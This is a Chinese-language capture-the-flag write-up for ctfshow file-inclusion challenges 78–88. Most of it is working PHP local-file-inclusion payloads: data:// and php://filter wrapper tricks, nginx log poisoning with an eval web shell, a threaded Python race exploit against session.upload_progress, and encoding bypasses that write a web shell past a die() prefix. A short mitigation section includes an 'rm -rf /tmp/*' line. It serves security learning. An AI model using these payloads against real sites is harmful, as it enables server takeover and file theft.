无过滤include
?file=data://text/plain,<?php system("cat flag.php")?>
?file=php://filter/convert.base64-encode/resource=flag.php
过滤php字段
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKT8+
/* <?php system("cat flag.php") */
过滤data | php | :字段
nginx日志包含:
?file=/var/log/nginx/access.log
- UA头添加
<?php eval($_POST['cmd']);?>
- 蚁剑连接
防御措施:
-
过滤data | php | : | .字段
-
删除session
1
2
3
4
5
|
session_unset();
// session_unset():释放当前在内存中已经创建的所有$_SESSION变量,但是不删除session文件以及不释放对应的session id
session_destroy();
// session_destroy():删除当前用户对应的session文件以及释放session id,内存中$_SESSION变量内容依然保留
// index.php只调用一次函数,所以每次执行index.php只会删一次
|
- 删除文件
1
2
|
system("rm -rf /tmp/*");
// 同理,只删除了一次
|
- 文件内容过滤
1
2
3
4
5
6
7
8
|
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
// 我感觉这个挺鸡肋的,<不在第一个难道在最后一个吗
|
- 设置包含路径环境变量
1
2
3
|
define('还要秀?', dirname(__FILE__));
set_include_path('还要秀?');
// set_include_path只是将文件夹当做默认的引用路径,而不是只能从指定目录包含,/tmp/sess_xxx是绝对路径,不受该函数影响。
|
原理:利用session.upload_progress进行文件包含和反序列化渗透
1
2
3
4
5
6
7
8
9
10
11
12
|
//poc.php
<!DOCTYPE html>
<html>
<body>
<form action="IP地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333"/> // 这里直接添加php代码并不会被上传,推荐抓包后添加上传
<input type="file" name="file"/>
<input type="submit" value="submit"/>
</form>
</body>
</html>
<?php session_start();?>
|
- 本地通过poc.php向目标i地址发送文件,抓包(可选:将PHPSESSID的值改成醒目的名字,比如自己的ID);
- 在
PHP_SESSION_UPLOAD_PROGRESS
中添加执行的php代码,如
- intruder模块开两个,一个爆破上传,另一个爆破读取
- 获得flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import io, requests, threading
phpsessid = 'tyskill'
url = 'http://11122aaa-7f58-43bd-ba38-58f45b5f43c4.chall.ctf.show/'
def write(session, target):
while True:
file_con = io.BytesIO(b'aaaaaa')
res = session.post(url=target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat fl0g.php");?>'}, files={'file': ('ty.txt',file_con,'text/plain')}, cookies={'PHPSESSID': phpsessid})
def read(session, target):
while True:
res = session.post(url=target + "?file=/tmp/sess_" + phpsessid)
if 'ty.txt' in res.text:
print(res.text)
event.clear()
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 10):
threading.Thread(target=write, args=(session, url)).start()
for i in range(1, 10):
threading.Thread(target=read, args=(session, url)).start()
event.set()
# 手动停
|
贴一下大师傅的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
# coding=utf-8
# Author: atao
import io, requests, threading
sessID = 'flag'
url = 'IP'
def write(session):
while True:
f = io.BytesIO(b'a' * 256 * 1) #建议正常这个填充数据大一点
res = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac *.php")?>'},
file={'file': ('a.txt', f)}
)
def read():
while True:
response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
if 'flag' in response.text:
print(response.text)
break
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True #当daemon为True时,父线程在运行完毕后,子线程无论是否正在运行,都会伴随主线程一起退出。
write.start()
read()
|
针对$file过滤data | php | : | .字段
1
|
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
|
想要让<?php die('大佬别秀了');?>
不影响执行自定义的php代码,那么就需要将其进行编码或解码,变成php无法识别的字符。
原理:
谈一谈php://filter的妙用
file_put_content和死亡·杂糅代码之缘
利用php伪协议中的string.rot13过滤器将<?php die('大佬别秀了');?>
"消掉",这样就可以插入自己构造的php代码:
GET: ?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570
// php://filter/write=string.rot13/resource=1.php + 二次编码
POST: content=<?cuc flfgrz('png sy0t.cuc');?>
/* <?php system('cat fl0g.php');?> */
GET: ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
// php://filter/write=convert.base64-decode/resource=1.php + 二次编码
POST: content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
/* <?php eval($_POST['cmd']);?> */
注意:<?php eval($_POST['cmd']);?>
的编码是PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
,而我们POST的数据却多了两个字符aa。这是因为base64作用的字符对象是大小写字母 数字 +/,且decode是以8位为一组,但是原文件内容<?php die('大佬别秀了');?>
中只有phpdie六个字符可以被用作deocde运算,二进制位数不满足base64-decode要求,所以需要补两个字符。
/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i
和前面的难度差不多,也挺好绕的。
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgYGxzYCIpPz4
/* <?php system("tac `ls`")?> */
misc+lfi
下载视频,binwalk分析,提取出源码截图:
1
2
3
4
5
6
7
8
9
10
11
|
<?php
function filter($x){
if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple somtimes native!');
}
}
$file=isset($_GET['file'])?$_GET['file']:'sp2.mp4';
header('Content-Type: video/mp4');
filter($file);
echo file_get_contents($file);
?>
|
没过滤啥,直接读flag.php
查看响应头获得flag
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
|
file_put_content和死亡·杂糅代码之缘的convert.iconv.
:
GET: ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=tyskill.php
POST: contents=<ap?ph@ vela$(P_SO[Tytksli]l;)>?
Hint:
${PATH:1:1}
来获得字母
${#PATH}
来统计字母个数
原理:
linux系统中的变量
Linux 基础知识:Bash的内置变量
根据题目给的Hint,这里可以使用${PATH:1:1}
截取字符串,但是我没搞懂这里为啥可以截取字符串,先留个坑吧。
ctfshow we入门 78-88文件包含 wp